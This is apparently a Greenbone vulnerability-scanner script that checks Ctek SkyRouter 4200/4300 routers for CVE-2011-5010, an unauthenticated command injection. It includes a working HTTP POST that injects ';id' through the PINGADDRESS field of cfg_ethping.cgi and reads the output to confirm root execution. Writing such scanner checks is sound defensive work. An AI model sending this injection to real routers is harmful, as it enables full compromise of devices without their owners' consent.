Ctek SkyRouter 4200 and 4300 Series Routers Remote Arbitrary Command Execution Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103479");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_version("2023-07-25T05:05:58+0000");
  script_cve_id("CVE-2011-5010");

  script_name("Ctek SkyRouter 4200 and 4300 Series Routers Remote Arbitrary Command Execution Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50867");

  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-04-25 15:07:13 +0200 (Wed, 25 Apr 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_tag(name:"solution_type", value:"WillNotFix");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_tag(name:"summary", value:"Ctek SkyRouter 4200 and 4300 series routers are prone to a remote
arbitrary command-execution vulnerability because it fails to
adequately sanitize user-supplied input.");

  script_tag(name:"impact", value:"Remote attackers can exploit this issue to execute arbitrary shell
commands with superuser privileges, which may facilitate a complete
compromise of the affected device.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

req = http_get(item:"/apps/a3/cfg_ethping.cgi", port:port);
res = http_send_recv(port:port, data:req);

if("Ctek" >!< res && "SkyRouter" >!< res)exit(0);

useragent = http_get_user_agent();
host = http_host_name(port:port);

req = string("POST /apps/a3/cfg_ethping.cgi HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: 63\r\n",
             "\r\n",
             "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;id+%26");
res = http_send_recv(port:port, data:req);

if(egrep(pattern:"uid=[0-9]+.*gid=[0-9]+.*", string:res)) {
  security_message(port:port);
  exit(0);
}

exit(0);